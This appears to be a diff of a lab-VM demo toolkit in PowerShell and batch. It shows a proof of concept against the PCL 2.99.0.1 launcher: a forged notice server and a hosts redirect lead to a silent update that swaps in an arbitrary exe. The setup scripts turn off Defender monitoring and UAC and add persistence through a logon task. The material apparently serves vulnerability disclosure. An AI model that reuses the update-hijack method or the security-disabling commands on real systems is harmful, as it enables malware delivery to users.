+        $ws.AppActivate($Window.Id) | Out-Null
+        Start-Sleep -Milliseconds 300
+        $ws.SendKeys('{F5}')
+    } catch { }
+}
+
+function Close-DesktopWindow {
+    param($Window)
+    if (-not $Window) { return }
+    try { $Window.CloseMainWindow() | Out-Null } catch { }
+}
+
+function Show-PclLog {
+    $logDir = Join-Path $PclDir 'PCL'
+    $logs = @(Get-ChildItem -Path $logDir -Filter 'Log*.txt' -ErrorAction SilentlyContinue | Sort-Object LastWriteTime -Descending)
+    if ($logs.Count -eq 0) {
+        Write-Host '  (no PCL log found)' -ForegroundColor Red
+        return
+    }
+    $log = $logs[0]
+    Write-Host ('  PCL log: ' + $log.FullName) -ForegroundColor Gray
+    $hits = @(Select-String -LiteralPath $log.FullName -Pattern 'LaunchAdvanceRun|setup' -Encoding UTF8 -ErrorAction SilentlyContinue)
+    $printed = 0
+    foreach ($h in $hits) {
+        $line = $h.Line.Trim()
+        $idx = $line.IndexOf('LaunchAdvanceRun')
+        if ($idx -gt 80) {
+            $start = [Math]::Max(0, $idx - 60)
+            $line = '...' + $line.Substring($start, [Math]::Min(220, $line.Length - $start))
+        }
+        if ($line.Length -gt 260) { $line = $line.Substring(0, 260) + '...' }
+        Write-Host ('  ' + $h.LineNumber.ToString() + ': ' + $line) -ForegroundColor Yellow
+        $printed++
+        if ($printed -ge 6) { break }
+    }
+    if ($printed -eq 0) {
+        Write-Host '  (no LaunchAdvanceRun/setup line in the newest PCL log)' -ForegroundColor Red
+    }
+}
+
+try {
+    & tzutil.exe /s 'China Standard Time' 2>$null | Out-Null
+    Write-Host 'Waiting for the desktop ...'
+    for ($i = 0; $i -lt 90; $i++) {
+        if (Get-Process explorer -ErrorAction SilentlyContinue) { break }
+        Start-Sleep -Seconds 1
+    }
+    Start-Sleep -Seconds 6
+
+    $res = [PclGui]::SetBestResolution()
+    Start-Sleep -Seconds 3
+    $wa = [System.Windows.Forms.Screen]::PrimaryScreen.WorkingArea
+    $screenW = $wa.Width
+    $screenH = $wa.Height
+    $PclW = [Math]::Max(900, [int]($screenW * 0.52))
+    $ConsoleW = $screenW - $PclW - 4
+    $PclX = $ConsoleW + 4
+    $ConsoleH = $screenH
+
+    $fontSize = 18
+    if ($screenH -lt 900) { $fontSize = 16 }
+    [void][PclGui]::SetConsoleFont($fontSize)
+    $cols = [Math]::Max(60, [int](($ConsoleW - 30) / 8.6))
+    $rows = [Math]::Max(24, [int](($ConsoleH - 60) / ($fontSize + 4)))
+    Set-ConsoleSize -Columns $cols -Rows $rows
+    if ($screenW -ge 1800 -and $screenH -ge 1000) { Set-ConsoleSize -Columns 66 -Rows 36 }
+
+    $hwnd = [PclGui]::GetConsoleWindow()
+    [PclGui]::Move($hwnd, 0, 0, $ConsoleW, $ConsoleH)
+    $Host.UI.RawUI.WindowTitle = 'PCL 2.99.0.1 PoC - Demo'
+
+    Log ('resolution=' + $res + ' screen=' + $screenW + 'x' + $screenH + ' console=' + $ConsoleW + 'x' + $ConsoleH + ' pcl=' + $PclW)
+
+    if (-not (Test-Path -LiteralPath (Join-Path $PocDir 'Invoke-PCLPoC.ps1'))) {
+        throw 'C:\PCLPoC is missing; prepare.ps1 did not copy the PoC toolkit.'
+    }
+
+    $Arranger = Start-Process -FilePath 'powershell.exe' -ArgumentList @(
+        '-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', (Join-Path $Root 'arrange-windows.ps1'),
+        '-ConsoleHwnd', ([string]$hwnd.ToInt64()),
+        '-X', '0', '-Y', '0', '-W', ([string]$ConsoleW), '-H', ([string]$ConsoleH),
+        '-PclX', ([string]$PclX), '-PclW', ([string]$PclW), '-Minutes', '20'
+    ) -PassThru -WindowStyle Hidden
+
+    Step 'step1' 'Windows 10 Enterprise LTSC 2021 - isolated lab VM. PCL 2.99.0.1 (build 415).'
+    Write-Host ('  computer : ' + $env:COMPUTERNAME) -ForegroundColor Gray
+    Write-Host ('  user     : ' + $env:USERNAME) -ForegroundColor Gray
+    Write-Host ('  OS       : ' + (Get-CimInstance Win32_OperatingSystem).Caption) -ForegroundColor Gray
+    Write-Host ('  display  : ' + $res + ' (' + $screenW + 'x' + $screenH + ')') -ForegroundColor Gray
+    Write-Host '  network  : no NIC attached' -ForegroundColor Gray
+    Start-Sleep -Seconds 5
+
+    Step 'step2' 'Copy PCL 2.99.0.1.zip to the Desktop.'
+    Copy-Item -LiteralPath $SourceZip -Destination $DesktopZip -Force
+    $zipHash = (Get-FileHash -LiteralPath $DesktopZip -Algorithm SHA256).Hash
+    Write-Host ('  ' + $DesktopZip) -ForegroundColor Gray
+    Write-Host ('  size   : ' + (Get-Item -LiteralPath $DesktopZip).Length + ' bytes') -ForegroundColor Gray
+    Write-Host ('  sha256 : ' + $zipHash) -ForegroundColor Gray
+    if ($zipHash -ne '4D239A62ED66FB9EBCF4633FD881EB098E9A7E4F296F0E414B58AA2F1F7F7830') {
+        throw 'PCL zip hash mismatch: ' + $zipHash
+    }
+    Start-Sleep -Seconds 5
+
+    Step 'step3' 'Extract the new PCL to Desktop\PCL.'
+    if (Test-Path -LiteralPath $PclDir) {
+        Remove-Item -LiteralPath $PclDir -Recurse -Force
+    }
+    Expand-Archive -LiteralPath $DesktopZip -DestinationPath $PclDir -Force
+    $pclHash = (Get-FileHash -LiteralPath $PclExe -Algorithm SHA256).Hash
+    Write-Host ('  ' + $PclExe) -ForegroundColor Gray
+    Write-Host ('  size   : ' + (Get-Item -LiteralPath $PclExe).Length + ' bytes') -ForegroundColor Gray
+    Write-Host ('  sha256 : ' + $pclHash) -ForegroundColor Gray
+    if ($pclHash -ne '0DB34E19D9EEB6D496D20FABE786EC16BBD36BA6B0CCDC8D29CB7E909C114397') {
+        throw 'PCL exe hash mismatch: ' + $pclHash
+    }
+    Start-Sleep -Seconds 5
+
+    $layers = 'HKCU:\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers'
+    New-Item -Path $layers -Force | Out-Null
+    Set-ItemProperty -Path $layers -Name $PclExe -Value '~ HIGHDPIAWARE'
+
+    Step 'step4' 'Run the PoC: forged notice server, hosts entry and a lab CA.'
+    Write-Host '  target : pcl2-server-1253424809.file.myqcloud.com' -ForegroundColor Gray
+    Write-Host '  hosts  : 127.0.0.1' -ForegroundColor Gray
+    Write-Host '  server : https://127.0.0.1:443 (PowerShell TlsListener)' -ForegroundColor Gray
+    Write-Host '  notice : id 11002, importantLevel 999' -ForegroundColor Gray
+    Write-Host ''
+    Write-Host '  notice.json -> actions.setup:' -ForegroundColor Yellow
+    Write-Host '    "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe"' -ForegroundColor White
+    Write-Host ''
+    Write-Host '  Starting the PoC and PCL ...' -ForegroundColor Cyan
+    Write-Host ''
+
+    $closer = Start-Process -FilePath 'powershell.exe' -ArgumentList @(
+        '-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', (Join-Path $Root 'close-pcl.ps1'), '-PclDir', $PclDir, '-MaxSeconds', '35'
+    ) -PassThru -WindowStyle Hidden
+
+    & powershell.exe -NoProfile -ExecutionPolicy Bypass -File (Join-Path $PocDir 'Invoke-PCLPoC.ps1') -Mode launch -PclPath $PclExe -Timeout 40
+    Start-Sleep -Seconds 2
+    if ($closer -and -not $closer.HasExited) {
+        Stop-Process -Id $closer.Id -Force -ErrorAction SilentlyContinue
+    }
+
+    Mark 'method1' 'method 1: notice.json -> setup -> LaunchAdvanceRun'
+    Section 'Method 1 result'
+    if (Test-Path -LiteralPath $Marker) {
+        Write-Host '  marker exists: the payload ran.' -ForegroundColor Red
+    } else {
+        Write-Host '  no marker: LaunchAdvanceRun was not executed.' -ForegroundColor Yellow
+    }
+    Show-PclLog
+    Write-Host ''
+    Write-Host '  2.99.0.1 setup blacklist rejects LaunchAdvanceRun before saving it.' -ForegroundColor Yellow
+    Mark 'blocked' '2.99.0.1 blocks LaunchAdvanceRun'
+    $m1 = Join-Path $Ev 'method1'
+    New-Item -ItemType Directory -Force -Path $m1 | Out-Null
+    Copy-Item -LiteralPath (Join-Path $PocDir 'poc-run.log') -Destination (Join-Path $m1 'poc-run.log') -Force -ErrorAction SilentlyContinue
+    Copy-Item -LiteralPath (Join-Path $PocDir 'backup\server.out.log') -Destination (Join-Path $m1 'server.out.log') -Force -ErrorAction SilentlyContinue
+    Copy-Item -LiteralPath (Join-Path $PocDir 'backup\server.err.log') -Destination (Join-Path $m1 'server.err.log') -Force -ErrorAction SilentlyContinue
+    Copy-Item -Path (Join-Path $PclDir 'PCL\Log*.txt') -Destination $m1 -Force -ErrorAction SilentlyContinue
+    Start-Sleep -Seconds 10
+
+    Step 'step6' 'Delete the entire PCL directory.'
+    Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.ProcessName -like '*Plain*' } | Stop-Process -Force -ErrorAction SilentlyContinue
+    Start-Sleep -Seconds 2
+    if (Test-Path -LiteralPath $PclDir) {
+        Remove-Item -LiteralPath $PclDir -Recurse -Force
+    }
+    Write-Host ('  ' + $PclDir) -ForegroundColor Gray
+    Write-Host ('  exists after delete: ' + (Test-Path -LiteralPath $PclDir)) -ForegroundColor Gray
+    Write-Host ''
+    Write-Host '  A clean copy is extracted again for method 2.' -ForegroundColor DarkGray
+    Start-Sleep -Seconds 6
+
+    Step 'step7' 'Method 2: notice.cfg + slientupdate -> silent update -> arbitrary exe.'
+    Expand-Archive -LiteralPath $DesktopZip -DestinationPath $PclDir -Force
+    Set-PclWindowSize
+    Write-Host '  notice.cfg  : 11002|0|0|0|999' -ForegroundColor Gray
+    Write-Host '  ServerConfig: Update.Release.DownloadUrls -> https://.../update.zip' -ForegroundColor Gray
+    Write-Host '  update.zip  : Plain Craft Launcher 2.exe (payload)' -ForegroundColor Gray
+    Write-Host ''
+    Write-Host '  Starting the PoC and PCL ...' -ForegroundColor Cyan
+    Write-Host ''
+
+    $watcher = Start-Process -FilePath 'powershell.exe' -ArgumentList @(
+        '-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', (Join-Path $Root 'watch-staging.ps1'),
+        '-PclDir', $PclDir, '-Evidence', $Ev
+    ) -PassThru -WindowStyle Hidden
+
+    & powershell.exe -NoProfile -ExecutionPolicy Bypass -File (Join-Path $PocDir 'Invoke-PCLPoC.ps1') -Mode update -PclPath $PclExe -Timeout 60 -KeepArtifacts
+    Start-Sleep -Seconds 2
+    if ($watcher) { Wait-Process -Id $watcher.Id -Timeout 15 -ErrorAction SilentlyContinue }
+
+    Mark 'success' 'method 2: slientupdate -> arbitrary exe (success)'
+    Section 'Method 2 result'
+    if (-not (Test-Path -LiteralPath $Marker)) {
+        throw 'No marker after the update PoC.'
+    }
+    $markerText = (Get-Content -LiteralPath $Marker -Raw).Trim()
+    Write-Host '  marker:' -ForegroundColor Green
+    Write-Host ('    ' + $markerText) -ForegroundColor White
+    Write-Host ''
+
+    $staging = Join-Path $Ev 'staging.exe'
+    $stagingHash = 'missing'
+    if (Test-Path -LiteralPath $staging) {
+        $stagingHash = (Get-FileHash -LiteralPath $staging -Algorithm SHA256).Hash
+        Write-Host ('  staged exe : ' + $staging + ' (' + (Get-Item -LiteralPath $staging).Length + ' bytes)') -ForegroundColor Gray
+        Write-Host ('  sha256     : ' + $stagingHash) -ForegroundColor Gray
+    } else {
+        Write-Host '  staged exe : watcher did not catch it' -ForegroundColor Red
+    }
+
+    $entryHash = 'missing'
+    $entryOut = $null
+    $zipPath = Join-Path $PocDir 'www\update.zip'
+    if (Test-Path -LiteralPath $zipPath) {
+        Add-Type -AssemblyName System.IO.Compression.FileSystem
+        $zip = [System.IO.Compression.ZipFile]::OpenRead($zipPath)
+        try {
+            $entry = $zip.Entries | Where-Object { $_.FullName -eq 'Plain Craft Launcher 2.exe' } | Select-Object -First 1
+            if ($entry) {
+                $entryOut = Join-Path $Ev 'zip-entry.exe'
+                [System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $entryOut, $true)
+                $entryHash = (Get-FileHash -LiteralPath $entryOut -Algorithm SHA256).Hash
+                Write-Host ('  update.zip : Plain Craft Launcher 2.exe (' + $entry.Length + ' bytes)') -ForegroundColor Gray
+                Write-Host ('  entry sha256: ' + $entryHash) -ForegroundColor Gray
+            }
+        } finally {
+            $zip.Dispose()
+        }
+    }
+    if ($stagingHash -ne 'missing' -and $entryHash -ne 'missing') {
+        if ($stagingHash -eq $entryHash) {
+            Write-Host '  hash match  : the downloaded zip entry ran.' -ForegroundColor Green
+        } else {
+            Write-Host '  hash mismatch: staging vs zip entry.' -ForegroundColor Red
+        }
+    }
+
+    $calc = Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.ProcessName -like '*calc*' -or $_.MainWindowTitle -like '*Calculator*' } | Select-Object -First 1
+    if ($calc) {
+        Write-Host '  calc.exe    : started (visible on the right)' -ForegroundColor Green
+    } else {
+        Write-Host '  calc.exe    : not present in LTSC; marker is the execution proof.' -ForegroundColor Yellow
+    }
+
+    $m2 = Join-Path $Ev 'method2'
+    New-Item -ItemType Directory -Force -Path $m2 | Out-Null
+    Copy-Item -LiteralPath $Marker -Destination (Join-Path $m2 'marker.txt') -Force -ErrorAction SilentlyContinue
+    Copy-Item -LiteralPath $Marker -Destination (Join-Path $Ev 'marker.txt') -Force -ErrorAction SilentlyContinue
+    Copy-Item -LiteralPath (Join-Path $PocDir 'poc-run.log') -Destination (Join-Path $m2 'poc-run.log') -Force -ErrorAction SilentlyContinue
+    Copy-Item -LiteralPath (Join-Path $PocDir 'backup\server.out.log') -Destination (Join-Path $m2 'server.out.log') -Force -ErrorAction SilentlyContinue
+    Copy-Item -LiteralPath (Join-Path $PocDir 'backup\server.err.log') -Destination (Join-Path $m2 'server.err.log') -Force -ErrorAction SilentlyContinue
+    Copy-Item -LiteralPath $zipPath -Destination (Join-Path $m2 'update.zip') -Force -ErrorAction SilentlyContinue
+    Copy-Item -Path (Join-Path $PclDir 'PCL\Log*.txt') -Destination $m2 -Force -ErrorAction SilentlyContinue
+    if (Test-Path -LiteralPath $staging) { Copy-Item -LiteralPath $staging -Destination $m2 -Force -ErrorAction SilentlyContinue }
+    if ($entryOut -and (Test-Path -LiteralPath $entryOut)) { Copy-Item -LiteralPath $entryOut -Destination $m2 -Force -ErrorAction SilentlyContinue }
+    Start-Sleep -Seconds 8
+
+    $resultText = @(
+        'PCL 2.99.0.1 PoC - VM demo result',
+        '=================================',
+        'VM        : Windows 10 Enterprise LTSC 2021 (isolated, no NIC)',
+        'PCL       : 2.99.0.1 (build 415)',
+        '',
+        'Method 1  : notice.json -> setup -> LaunchAdvanceRun',
+        '            BLOCKED by the 2.99.0.1 setup blacklist.',
+        '            PCL log: rejected key LaunchAdvanceRun.',
+        '            payload marker: absent.',
+        '',
+        'Method 2  : notice.cfg -> slientupdate -> ServerConfig -> update.zip -> exe',
+        '            SUCCESS, zero-click.',
+        '            marker: ' + ($markerText -replace "`r?`n", ' | '),
+        '            staged exe sha256: ' + $stagingHash,
+        '            update.zip entry sha256: ' + $entryHash,
+        '',
+        'Conclusion: 2.99.0.1 blocks method 1 only; method 2 still',
+        'replaces the launcher on exit.'
+    ) -join "`r`n"
+    Set-Content -LiteralPath (Join-Path $Ev 'RESULT.txt') -Value $resultText -Encoding ASCII
+
+    Section 'Summary'
+    Write-Host '  Method 1 (setup -> LaunchAdvanceRun): BLOCKED' -ForegroundColor Yellow
+    Write-Host '  Method 2 (slientupdate -> exe)     : SUCCESS' -ForegroundColor Green
+    Write-Host ''
+    Write-Host '  Opening RESULT.txt on the right ...' -ForegroundColor Cyan
+
+    $notepad = Start-Process -FilePath 'notepad.exe' -ArgumentList (Join-Path $Ev 'RESULT.txt') -PassThru
+    Start-Sleep -Seconds 3
+    if ($notepad -and $notepad.MainWindowHandle -ne 0) {
+        [PclGui]::Move($notepad.MainWindowHandle, $PclX, 0, $PclW, $ConsoleH)
+    }
+    Mark 'end' 'demo end'
+    Shot 'final-desktop.png'
+    Start-Sleep -Seconds 14
+
+    try { Stop-Transcript | Out-Null } catch { }
+    Start-Sleep -Seconds 2
+    & shutdown.exe /s /t 8 /f /c 'PCL PoC demo complete'
+} catch {
+    $message = $_.Exception.Message
+    Write-Host ''
+    Write-Host ('ERROR: ' + $message) -ForegroundColor Red
+    Log ('ERROR: ' + $message)
+    try { Shot 'error.png' } catch { }
+    try { Set-Content -LiteralPath (Join-Path $Ev 'ERROR.txt') -Value $_.Exception.ToString() -Encoding UTF8 } catch { }
+    Mark 'error' 'demo error'
+    Start-Sleep -Seconds 20
+    try { Stop-Transcript | Out-Null } catch { }
+    & shutdown.exe /s /t 5 /f /c 'PCL PoC demo error'
+}

+ 7 - 0
repeat/toolkit/pcl-test/firstlogon.cmd

@@ -0,0 +1,7 @@
+@echo off
+setlocal
+set "HERE=%~dp0"
+if not exist "%HERE%evidence" mkdir "%HERE%evidence"
+echo %DATE% %TIME% firstlogon >> "%HERE%evidence\firstlogon.txt"
+start "PCL-PoC-Prepare" /min powershell.exe -NoProfile -ExecutionPolicy Bypass -File "%HERE%prepare.ps1"
+exit /b 0

+ 157 - 0
repeat/toolkit/pcl-test/lib-gui.ps1

@@ -0,0 +1,157 @@
+# GUI helpers for the PCL PoC demo VM.
+# ASCII only. Windows PowerShell 5.1 compatible.
+
+if (-not ('PclGui' -as [type])) {
+    Add-Type -TypeDefinition @'
+using System;
+using System.Runtime.InteropServices;
+
+public class PclGui
+{
+    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
+    public struct DEVMODE
+    {
+        [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)]
+        public string dmDeviceName;
+        public short dmSpecVersion;
+        public short dmDriverVersion;
+        public short dmSize;
+        public short dmDriverExtra;
+        public int dmFields;
+        public int dmPositionX;
+        public int dmPositionY;
+        public int dmDisplayOrientation;
+        public int dmDisplayFixedOutput;
+        public short dmColor;
+        public short dmDuplex;
+        public short dmYResolution;
+        public short dmTTOption;
+        public short dmCollate;
+        [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)]
+        public string dmFormName;
+        public short dmLogPixels;
+        public int dmBitsPerPel;
+        public int dmPelsWidth;
+        public int dmPelsHeight;
+        public int dmDisplayFlags;
+        public int dmDisplayFrequency;
+        public int dmICMMethod;
+        public int dmICMIntent;
+        public int dmMediaType;
+        public int dmDitherType;
+        public int dmReserved1;
+        public int dmReserved2;
+        public int dmPanningWidth;
+        public int dmPanningHeight;
+    }
+
+    [DllImport("user32.dll", CharSet = CharSet.Ansi)]
+    public static extern bool EnumDisplaySettings(string deviceName, int modeNum, ref DEVMODE devMode);
+
+    [DllImport("user32.dll")]
+    public static extern int ChangeDisplaySettings(ref DEVMODE devMode, int flags);
+
+    [DllImport("user32.dll")]
+    public static extern bool SetProcessDPIAware();
+
+    [DllImport("user32.dll")]
+    public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
+
+    [DllImport("user32.dll")]
+    public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
+
+    [DllImport("kernel32.dll")]
+    public static extern IntPtr GetConsoleWindow();
+
+    [DllImport("kernel32.dll", SetLastError = true)]
+    public static extern IntPtr GetStdHandle(int nStdHandle);
+
+    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
+    public struct CONSOLE_FONT_INFO_EX
+    {
+        public uint cbSize;
+        public uint nFont;
+        public short dwFontSizeX;
+        public short dwFontSizeY;
+        public uint FontFamily;
+        public uint FontWeight;
+        [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)]
+        public string FaceName;
+    }
+
+    [DllImport("kernel32.dll", SetLastError = true)]
+    public static extern bool SetCurrentConsoleFontEx(IntPtr hConsoleOutput, bool bMaximumWindow, ref CONSOLE_FONT_INFO_EX lpConsoleCurrentFontEx);
+
+    public static string SetBestResolution()
+    {
+        int[][] prefs = new int[][]
+        {
+            new int[] { 1920, 1080 },
+            new int[] { 1600, 900 },
+            new int[] { 1366, 768 },
+            new int[] { 1280, 720 },
+            new int[] { 1024, 768 }
+        };
+
+        foreach (int[] pref in prefs)
+        {
+            DEVMODE found = new DEVMODE();
+            found.dmSize = (short)Marshal.SizeOf(typeof(DEVMODE));
+            bool ok = false;
+            for (int i = 0; EnumDisplaySettings(null, i, ref found); i++)
+            {
+                if (found.dmPelsWidth == pref[0] && found.dmPelsHeight == pref[1] && found.dmBitsPerPel == 32)
+                {
+                    ok = true;
+                    break;
+                }
+            }
+            if (!ok) continue;
+
+            DEVMODE set = found;
+            set.dmFields = 0x80000 | 0x100000 | 0x40000; // width, height, bits per pixel
+            int r = ChangeDisplaySettings(ref set, 0x00000001); // CDS_UPDATEREGISTRY
+            if (r == 0)
+            {
+                return pref[0].ToString() + "x" + pref[1].ToString();
+            }
+        }
+        return "unchanged";
+    }
+
+    public static bool SetConsoleFont(int size)
+    {
+        IntPtr h = GetStdHandle(-11);
+        if (h == IntPtr.Zero) return false;
+        CONSOLE_FONT_INFO_EX f = new CONSOLE_FONT_INFO_EX();
+        f.cbSize = (uint)Marshal.SizeOf(typeof(CONSOLE_FONT_INFO_EX));
+        f.nFont = 0;
+        f.dwFontSizeX = 0;
+        f.dwFontSizeY = (short)size;
+        f.FontFamily = 54;
+        f.FontWeight = 400;
+        f.FaceName = "Consolas";
+        return SetCurrentConsoleFontEx(h, false, ref f);
+    }
+
+    public static void Move(IntPtr h, int x, int y, int w, int hgt)
+    {
+        if (h == IntPtr.Zero) return;
+        ShowWindow(h, 9); // SW_RESTORE
+        SetWindowPos(h, IntPtr.Zero, x, y, w, hgt, 0x0040); // SWP_SHOWWINDOW
+    }
+}
+'@
+}
+
+function Set-ConsoleSize {
+    param([int]$Columns, [int]$Rows)
+    try {
+        $buffer = New-Object System.Management.Automation.Host.Size([Math]::Max($Columns, 120), 600)
+        $Host.UI.RawUI.BufferSize = $buffer
+    } catch { }
+    try {
+        $window = New-Object System.Management.Automation.Host.Size($Columns, $Rows)
+        $Host.UI.RawUI.WindowSize = $window
+    } catch { }
+}

+ 91 - 0
repeat/toolkit/pcl-test/prepare.ps1

@@ -0,0 +1,91 @@
+# First-logon preparation for the PCL PoC demo VM.
+# ASCII only. Runs elevated in the interactive desktop session.
+
+$ErrorActionPreference = 'Stop'
+$Root = $PSScriptRoot
+$Ev = Join-Path $Root 'evidence'
+New-Item -ItemType Directory -Force -Path $Ev | Out-Null
+
+try { Start-Transcript -Path (Join-Path $Ev 'prepare-transcript.txt') -Append | Out-Null } catch { }
+
+function Log([string]$Message) {
+    $line = '[{0:HH:mm:ss}] {1}' -f (Get-Date), $Message
+    Write-Host $line
+    try { Add-Content -LiteralPath (Join-Path $Ev 'prepare.log') -Value $line -Encoding UTF8 } catch { }
+}
+
+try {
+    Log 'prepare: waiting for Explorer / desktop'
+    for ($i = 0; $i -lt 90; $i++) {
+        if (Get-Process explorer -ErrorAction SilentlyContinue) { break }
+        Start-Sleep -Seconds 1
+    }
+    Start-Sleep -Seconds 8
+
+    Log 'prepare: EULA / notice bookkeeping'
+    & reg.exe add 'HKCU\Software\PCL' /v SystemEulaVersion /t REG_SZ /d 2 /f | Out-Null
+    & reg.exe add 'HKCU\Software\PCL' /v HintNotice /t REG_SZ /d 0 /f | Out-Null
+
+    Log 'prepare: disable toast notifications and tips'
+    & reg.exe add 'HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications' /v ToastEnabled /t REG_DWORD /d 0 /f | Out-Null
+    & reg.exe add 'HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager' /v SubscribedContent-338389Enabled /t REG_DWORD /d 0 /f | Out-Null
+
+    Log 'prepare: power settings'
+    & powercfg.exe /change monitor-timeout-ac 0 | Out-Null
+    & powercfg.exe /change standby-timeout-ac 0 | Out-Null
+    & powercfg.exe /change hibernate-timeout-ac 0 | Out-Null
+
+    Log 'prepare: defender exclusions'
+    try {
+        Add-MpPreference -ExclusionPath @('C:\PCLPoC', (Join-Path $env:USERPROFILE 'Desktop\PCL'), 'C:\Users\Public') -ErrorAction SilentlyContinue
+        Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
+    } catch {
+        Log ('prepare: defender exclusion warning: ' + $_.Exception.Message)
+    }
+
+    Log 'prepare: copy PoC toolkit to C:\PCLPoC'
+    if (Test-Path -LiteralPath 'C:\PCLPoC') {
+        Remove-Item -LiteralPath 'C:\PCLPoC' -Recurse -Force -ErrorAction SilentlyContinue
+    }
+    Copy-Item -LiteralPath (Join-Path $Root 'PCLPoC') -Destination 'C:\PCLPoC' -Recurse -Force
+
+    Log 'prepare: create retry wrapper and scheduled task'
+    $retry = @'
+@echo off
+for %%d in (C D E F G H I J K) do (
+  if exist "%%d:\pcl-test\retry.flag" (
+    del "%%d:\pcl-test\retry.flag" >nul 2>&1
+    call "%%d:\pcl-test\firstlogon.cmd"
+    exit /b 0
+  )
+)
+exit /b 0
+'@
+    try {
+        Set-Content -LiteralPath 'C:\pcl-retry.cmd' -Value $retry -Encoding ASCII
+        try {
+            $taskName = 'PCLPoCRetry'
+            $user = $env:COMPUTERNAME + '\' + $env:USERNAME
+            $action = New-ScheduledTaskAction -Execute 'C:\pcl-retry.cmd'
+            $trigger = New-ScheduledTaskTrigger -AtLogOn -User $user
+            $principal = New-ScheduledTaskPrincipal -UserId $user -LogonType Interactive -RunLevel Highest
+            Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Principal $principal -Force | Out-Null
+            Log 'prepare: scheduled task registered'
+        } catch {
+            Log ('prepare: scheduled task warning: ' + $_.Exception.Message)
+        }
+    } catch {
+        Log ('prepare: retry wrapper warning: ' + $_.Exception.Message)
+    }
+
+    Log 'prepare: starting demo.ps1'
+    Start-Process -FilePath 'powershell.exe' -ArgumentList @('-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', (Join-Path $Root 'demo.ps1')) -WindowStyle Normal
+    Log 'prepare: done'
+} catch {
+    Log ('prepare: ERROR ' + $_.Exception.Message)
+    try {
+        Add-Content -LiteralPath (Join-Path $Ev 'prepare-error.txt') -Value $_.Exception.ToString() -Encoding UTF8
+    } catch { }
+} finally {
+    try { Stop-Transcript | Out-Null } catch { }
+}

+ 82 - 0
repeat/toolkit/pcl-test/setup-final.ps1

@@ -0,0 +1,82 @@
+# Run once, elevated, on the installed lab VM.
+# Configures 100% DPI, UAC off, lab PoC files, and a disabled logon task.
+# The logon task is enabled manually just before the final recorded boot.
+
+$ErrorActionPreference = 'Stop'
+$Root = $PSScriptRoot
+$Ev = Join-Path $Root 'evidence'
+New-Item -ItemType Directory -Force -Path $Ev | Out-Null
+
+try { Start-Transcript -Path (Join-Path $Ev 'setup-final.txt') -Append | Out-Null } catch { }
+
+function Log([string]$Message) {
+    $line = '[{0:HH:mm:ss}] {1}' -f (Get-Date), $Message
+    Write-Host $line
+    try { Add-Content -LiteralPath (Join-Path $Ev 'setup-final.log') -Value $line -Encoding UTF8 } catch { }
+}
+
+try {
+    Log 'setup-final: timezone'
+    & tzutil.exe /s 'China Standard Time' | Out-Null
+
+    Log 'setup-final: 100% DPI'
+    & reg.exe add 'HKCU\Control Panel\Desktop' /v LogPixels /t REG_DWORD /d 96 /f | Out-Null
+    & reg.exe add 'HKCU\Control Panel\Desktop' /v Win8DpiScaling /t REG_DWORD /d 0 /f | Out-Null
+    & reg.exe add 'HKCU\Control Panel\Desktop' /v DesktopDPIOverride /t REG_SZ /d 0 /f | Out-Null
+
+    Log 'setup-final: UAC off'
+    & reg.exe add 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' /v EnableLUA /t REG_DWORD /d 0 /f | Out-Null
+    & reg.exe add 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f | Out-Null
+
+    Log 'setup-final: PCL EULA bookkeeping'
+    & reg.exe add 'HKCU\Software\PCL' /v SystemEulaVersion /t REG_SZ /d 2 /f | Out-Null
+    & reg.exe add 'HKCU\Software\PCL' /v HintNotice /t REG_SZ /d 0 /f | Out-Null
+
+    Log 'setup-final: defender exclusions'
+    try {
+        Add-MpPreference -ExclusionPath @('C:\PCLPoC', (Join-Path $env:USERPROFILE 'Desktop\PCL'), 'C:\Users\Public') -ErrorAction SilentlyContinue
+        Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
+    } catch {
+        Log ('setup-final: defender warning: ' + $_.Exception.Message)
+    }
+
+    Log 'setup-final: copy PoC to C:\PCLPoC'
+    if (Test-Path -LiteralPath 'C:\PCLPoC') {
+        Remove-Item -LiteralPath 'C:\PCLPoC' -Recurse -Force -ErrorAction SilentlyContinue
+    }
+    Copy-Item -LiteralPath (Join-Path $Root 'PCLPoC') -Destination 'C:\PCLPoC' -Recurse -Force
+
+    Log 'setup-final: remove old retry task / startup entry'
+    Unregister-ScheduledTask -TaskName 'PCLPoCRetry' -Confirm:$false -ErrorAction SilentlyContinue | Out-Null
+    $startup = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Startup\PCLDemo.cmd'
+    Remove-Item -LiteralPath $startup -Force -ErrorAction SilentlyContinue
+
+    Log 'setup-final: create C:\pcl-demo.cmd'
+    $wrapper = @'
+@echo off
+for %%d in (C D E F G H I J K) do (
+  if exist "%%d:\pcl-test\demo.ps1" (
+    powershell.exe -NoProfile -ExecutionPolicy Bypass -File "%%d:\pcl-test\demo.ps1"
+    exit /b 0
+  )
+)
+'@
+    Set-Content -LiteralPath 'C:\pcl-demo.cmd' -Value $wrapper -Encoding ASCII
+
+    Log 'setup-final: register disabled logon task'
+    $user = $env:COMPUTERNAME + '\' + $env:USERNAME
